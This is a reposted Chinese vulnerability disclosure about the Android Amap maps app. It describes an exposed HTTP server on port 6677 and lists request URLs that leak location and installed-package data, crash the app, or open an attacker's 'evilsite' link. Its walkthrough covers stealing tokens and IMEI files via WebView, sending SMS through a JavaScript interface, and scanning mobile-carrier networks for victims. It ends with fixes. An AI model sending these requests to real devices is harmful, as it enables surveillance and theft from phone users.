高德地图远程获取手机的敏感信息可远程命令执行

0x01 概述

高德地图是一款装机量极大的地图应用,在各大应用市场的下载量均达到千万级别。但其Android版本(6.5.3-7.2.6)存在一系列远程命令执行漏洞,利用这个漏洞攻击者可以远程获取手机的敏感信息,实现对高德地图的拒绝服务,获取高德地图私有目录下的敏感文件,并远程执行命令。

0x02漏洞描述

以下分析针对官网正式版,版本号7.2.5.2050。

1. 漏洞原理

com.amap.api.service.AMapService中,可以看到高德地图app实现了一个小型的HTTP Server,该Server在tcp的6677端口监听,当请求满足一定条件时可以返回敏感信息,并根据请求消息执行一系列动作。

见run方法

listen.png

设置HTTP响应

response.png

请求满足的条件包括:

(1)Referer为如下网址中的一个

referer.png

(2)使用HTTP GET请求访问6677端口,并且形式为http://ip:6677/command?param1=value1&…&paramn=valuen

command为getpackageinfo、androidamap、geolocation中的其一

command.png

以下分三种情况:

(1)当command为geolocation时,可返回安装高德地图的手机用户地理位置信息;

(2)当command为getpackageinfo时,默认返回高德地图app本身的版本信息。此时若指定参数param1为packagename,即请求http://ip:6677/getpackageinfo?packagename=xxx时(xxx为软件包名)可返回手机上安装的xxx所指定的任意软件包版本信息。值得注意的是,若xxx为android,可返回android系统版本信息;

(3)当command为androidamap时,可以造成远程拒绝服务、甚至可以在高德地图app中远程执行命令,我们着重分析此种情况。

此时需要指定参数param1为action,即请求http://ip:6677/androidamap?action=yyy&param2=value2&…&paramn=valuen时,AMapService将设置一intent对象,其action为com.autonavi.minimap.Intent.Action,extra为{“method”:”androidamap”,”action”,”yyy”,”params”,”&param2=value2&…&paramn=valuen”},然后将其广播出去。搜索com.autonavi.minimap.Intent.Action,可发现AmapActionBroadcastReceiver对其进行处理。见com.autonavi.map.intent.AmapActionBroadcastReceiver中的onReceive方法

onreceive.png

OnReceive方法取出前面广播intent对象的extra,新建一个intent对象,设置intent uri为androidamap://yyy?sourceApplication=web&param2=value2&…&paramn=valuen,并以隐式intent的形式启动注册这种uri scheme的activiy.

在AnroidManifest文件中可发现,com.autonavi.map.activity.NewMapActivity注册了data secheme为androidamap的Intent Filter,且data host可以为showTraffic、viewMap、indoorMap、myLocation、bus、arroundpoi、route、keywordNavi、viewReGeo、viewPOIDetail、shortUrl、discovery、hotelList、gropbuyList、movieList、groupbuyDetail、navi2SpecialDest、rootmap、openmap、openTrafficRemind、multiPointShow、navi、poi、openFeature。

至此,我们得出这样的结论,可以通过远程访问

http://ip:6677/androidamap?action=yyy&param2=value2&…&paramn=valuen,启动目标ip中的com.autonavi.map.activity.NewMapActivity执行命令,其中yyy为上述data host中的任一。

2. 测试结果

对上述三种情况进行测试,归纳测试结果如下

HTTP GET请求 漏洞类型 漏洞造成的后果

http://ip:6677/geolocation? 敏感信息泄露 远程获取经纬度

http://ip:6677/getpackageinfo?packagename=xxx,其中xxx为软件包名 敏感信息泄露 远程获取xxx所指定的任意安装包信息

http://ip:6677/androidamap?action=showTraffice 远程命令执行 打开实时路况

http://ip:6677/androidamap?action=viewMap 远程拒绝服务 高德地图app停止运行

http://ip:6677/androidamap?action=indoorMap None None

http://ip:6677/androidamap?action=myLocation 远程命令执行 在地图中显示所处的位置

http://ip:6677/androidamap?action=viewMap 远程拒绝服务 高德地图app停止运行

http://ip:6677/androidamap?action=bus 远程命令执行 打开公交搜索框

http://ip:6677/androidamap?action=arroundpoi 远程命令执行 执行搜索

http://ip:6677/androidamap?action=route 远程拒绝服务 高德地图app停止运行

http://ip:6677/androidamap?action=keywordNavi None None

http://ip:6677/androidamap?action=viewReGeo None None

http://ip:6677/androidamap?action=viewPOIDetail None None

http://ip:6677/androidamap?action=shortUrl None 提示当前版本不支持

http://ip:6677/androidamap?action=discovery None 提示当前版本不支持

http://ip:6677/androidamap?action=hotelList None 提示“当前版本不支持”

http://ip:6677/androidamap?action=groupbuyList None 提示“当前版本不支持”

http://ip:6677/androidamap?action=navi2SpecialDest 远程拒绝服务 高德地图app停止运行

http://ip:6677/androidamap?action=rootmap None None

http://ip:6677/androidamap?action=openmap 远程拒绝服务 高德地图app停止运行

http://ip:6677/androidamap?action=openTrafficRemind None 提示当前版本不支持

http://ip:6677/androidamap?action=multiPointShow None 提示选择地图上的点

http://ip:6677/androidamap?action=navi None 打开在线导航

http://ip:6677/androidamap?action=nonexist 远程拒绝服务 app崩溃

注意上面最后一行,当action为以不存在的data host时,抛出空指针异常,导致远程拒绝服务,使高德地图app停止运行。另外,有些aciton也导致远程拒绝服务,我们推测主要是action后面缺少param参数,导致没有取到需要的intent extra,抛出空指针异常所致。

3. 当action为openFeature

严格来说,上面测试中的远程命令执行不算漏洞,因为没有对安全带来影响。下面我们单独讨论当远程HTTP GET请求访问http://ip:6677/androidamap?action=openFeature的情况,这种情况对安全影响最大,是真正的远程命令执行漏洞。

在com.autonavi.map.life.movie.view.MovieDetailHeaderView中,有以下代码

code 区域

这表明可以通过远程HTTP GET请求如下地址

http://ip:6677/androidamap?action=openFeature&featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=evilsite

使安装高德地图app的手机访问攻击者所操纵的链接evilsite,进一步的测试表明,这里存在WebView的漏洞,可以利用实现:

1. 窃取私有目录下的敏感文件:远程攻击者或者本地恶意app可以令WebView加载file://域的恶意脚本文件,按照恶意脚本的请求,窃取高德地图app私有目录下的敏感文件,包括手机IMEI、IMSI、MAC地址,登录token,突破android linux进程的访问控制;

2. WebView远程命令执行:存在可被网页中js操纵的接口jsinterface。由于高德地图针对的SDK版本较低(android:minSdkVersion=”8″),在Android 4.4.2以下的手机,均可使用该接口,注入高德地图app进程执行命令。

漏洞证明:

0x03 漏洞证明

1. 远程获取敏感信息

获取地理位置:

getlocation.png

2. 远程获取安装的android系统信息与软件包信息:

获取android版本信息:

getandroidinfo.png

3.远程拒绝服务

dos.png

效果

dos-result.png

4.远程命令执行

操纵url访问任意网页:

visitany.png

效果

visitany-result.png

(1)配合本地恶意脚本,窃取私有目录下的敏感文件

位于/sdcard的本地恶意脚本attack.html

steal.png

远程操纵使其加载该恶意脚本(本地恶意app也可通过127.0.0.1操纵)

loadevil.png

成功获得高德地图app私有目录下的敏感文件,包含已登录淘宝账号的token

loadevil-result.png

如法炮制,同样可以窃取手机/data/data/com.autonavi.minimap/shared_prefs/私有目录下的其他文件

* Alvin2.xml包含手机IMEI明文;

* umeng_message_state.xml包含umeng app key和secret等信息;

* CookiePrefsFile.xml包含cookie session id信息;

* AppStore.xml包含mac地址、IMSI明文。

(2)Webviwe远程命令执行(影响4.4.2以下版本)

使用安装高德地图的4.3版android手机测试,发现高德地图app内置webview存在webview漏洞。

android版本

4.3.png

检测到webview漏洞,发现jsInterface接口可供利用

webview.png

在192.168.3.165搭建恶意webserver。

code 区域

由于高德地图具有发送短信的权限,写一个利用jsInterface发送短信的exp

webview_exp.html

smsexp-1.png

利用如下命令攻击安装高德地图的目标手机192.168.3.180

code 区域

目标手机界面

test.png

攻击者手机收到目标机短信,可据此获知受害者的手机号。

sms-received-1.png

由于利用前面的漏洞(getpackageinfo)可以获取手机安装包和系统信息,利用jsInterface接口,还可以通过恶意网页针对性地写入root提权代码或植入木马并执行,造成更大的危害(各种通过Webview植入木马的EXP已经不少了吧,drozer就有现成的payload)。

0x04漏洞影响

该漏洞不仅可被恶意app本地利用,也可被远程利用。对于远程利用,显而易见,一种受漏洞影响的攻击利用场景是在公共WIFI网络,攻击者可以在公共WIFI网络的内网批量扫描打开高德地图的手机进行攻击。

但另外还有一种隐蔽的攻击场景是在3G/4G内网,国内移动分组网GGSN下面挂接的大量用户终端事实上可以互访,因此同样可以进行批量扫描。我们按照如下步骤在联通3G/4G内网进行了测试

(1)手机使用3G/4G上网,并打开WIFI热点共享.

(2)使用netstat查看移动分组网为手机分配的内网地址。

(3)PC使用手机共享的WIFI上网,在该内网地址C段进行扫描存在漏洞的手机,并获取受漏洞影响的高德地图版本信息。

我们扫描了两个C段,发现了4个打开高德地图的手机可以进行漏洞利用,并得知漏洞影响版本至少包括6.5.3,7.2.5.2050,7.2.6.1041beta。扫描结果vul.text

code 区域

由于在3G/4G网络下打开高德地图是比较常见的情形,而且相对于公共WIFI,用户感觉更加安全,因此可以更加隐蔽地利用该漏洞发起攻击,带来的危害更大。

另外我们注意到该漏洞出现在com.amap.api.service.AMapService中,因此可能影响到使用高德地图API的其他应用,限于时间关系,我们暂未进行测试。

修复方案:

1.在Android系统中,建议采用Binder跨进程通信,而非socket。如果短期内难以更改,建议只在127.0.0.1地址监听,并采用比referer检查更强的认证方式。

2.针对

androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=这种

Intent,禁止用户传入url

3.更新Android target SDK版本.

4.排查使用高德地图API的其他应用

转载自:http://www.wooyun.org/bugs/wooyun-2010-0114241    漏洞作者:小荷才露尖尖角